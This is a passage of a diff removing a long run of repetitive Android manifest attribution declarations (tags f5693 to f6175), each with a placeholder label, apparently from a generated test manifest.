-  <attribution android:tag="f5693" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5694" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5695" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5696" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5697" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5698" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5699" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5700" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5701" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5702" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5703" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5704" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5705" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5706" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5707" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5708" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5709" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5710" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5711" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5712" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5713" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5714" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5715" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5716" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5717" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5718" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5719" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5720" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5721" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5722" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5723" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5724" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5725" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5726" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5727" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5728" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5729" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5730" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5731" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5732" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5733" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5734" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5735" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5736" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5737" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5738" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5739" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5740" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5741" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5742" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5743" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5744" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5745" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5746" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5747" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5748" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5749" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5750" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5751" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5752" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5753" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5754" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5755" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5756" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5757" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5758" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5759" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5760" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5761" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5762" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5763" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5764" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5765" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5766" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5767" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5768" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5769" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5770" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5771" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5772" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5773" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5774" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5775" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5776" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5777" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5778" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5779" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5780" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5781" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5782" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5783" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5784" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5785" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5786" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5787" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5788" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5789" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5790" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5791" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5792" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5793" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5794" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5795" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5796" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5797" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5798" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5799" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5800" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5801" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5802" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5803" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5804" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5805" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5806" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5807" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5808" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5809" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5810" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5811" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5812" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5813" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5814" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5815" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5816" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5817" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5818" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5819" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5820" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5821" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5822" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5823" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5824" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5825" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5826" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5827" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5828" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5829" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5830" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5831" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5832" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5833" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5834" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5835" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5836" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5837" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5838" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5839" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5840" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5841" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5842" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5843" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5844" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5845" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5846" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5847" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5848" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5849" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5850" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5851" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5852" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5853" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5854" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5855" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5856" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5857" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5858" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5859" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5860" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5861" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5862" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5863" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5864" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5865" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5866" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5867" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5868" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5869" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5870" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5871" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5872" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5873" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5874" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5875" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5876" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5877" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5878" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5879" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5880" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5881" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5882" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5883" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5884" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5885" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5886" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5887" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5888" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5889" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5890" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5891" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5892" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5893" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5894" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5895" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5896" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5897" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5898" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5899" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5900" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5901" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5902" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5903" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5904" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5905" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5906" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5907" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5908" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5909" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5910" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5911" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5912" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5913" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5914" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5915" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5916" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5917" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5918" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5919" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5920" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5921" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5922" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5923" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5924" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5925" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5926" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5927" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5928" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5929" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5930" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5931" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5932" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5933" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5934" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5935" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5936" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5937" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5938" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5939" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5940" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5941" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5942" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5943" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5944" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5945" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5946" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5947" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5948" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5949" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5950" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5951" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5952" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5953" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5954" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5955" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5956" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5957" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5958" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5959" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5960" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5961" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5962" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5963" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5964" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5965" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5966" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5967" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5968" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5969" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5970" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5971" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5972" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5973" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5974" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5975" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5976" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5977" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5978" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5979" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5980" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5981" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5982" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5983" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5984" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5985" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5986" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5987" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5988" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5989" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5990" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5991" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5992" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5993" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5994" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5995" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5996" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5997" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5998" android:label="@string/dummyLabel" />
-  <attribution android:tag="f5999" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6000" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6001" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6002" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6003" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6004" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6005" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6006" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6007" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6008" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6009" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6010" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6011" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6012" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6013" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6014" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6015" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6016" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6017" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6018" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6019" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6020" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6021" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6022" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6023" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6024" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6025" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6026" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6027" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6028" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6029" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6030" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6031" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6032" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6033" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6034" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6035" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6036" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6037" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6038" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6039" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6040" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6041" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6042" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6043" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6044" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6045" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6046" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6047" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6048" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6049" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6050" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6051" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6052" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6053" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6054" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6055" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6056" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6057" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6058" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6059" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6060" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6061" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6062" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6063" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6064" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6065" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6066" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6067" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6068" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6069" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6070" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6071" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6072" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6073" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6074" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6075" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6076" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6077" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6078" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6079" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6080" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6081" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6082" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6083" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6084" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6085" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6086" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6087" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6088" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6089" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6090" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6091" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6092" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6093" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6094" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6095" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6096" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6097" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6098" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6099" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6100" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6101" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6102" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6103" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6104" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6105" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6106" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6107" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6108" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6109" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6110" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6111" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6112" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6113" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6114" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6115" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6116" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6117" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6118" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6119" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6120" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6121" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6122" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6123" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6124" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6125" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6126" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6127" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6128" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6129" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6130" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6131" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6132" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6133" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6134" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6135" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6136" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6137" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6138" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6139" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6140" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6141" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6142" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6143" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6144" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6145" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6146" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6147" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6148" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6149" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6150" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6151" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6152" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6153" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6154" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6155" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6156" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6157" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6158" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6159" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6160" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6161" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6162" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6163" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6164" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6165" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6166" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6167" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6168" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6169" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6170" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6171" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6172" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6173" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6174" android:label="@string/dummyLabel" />
-  <attribution android:tag="f6175" android:label="@string/dummyLabel" />
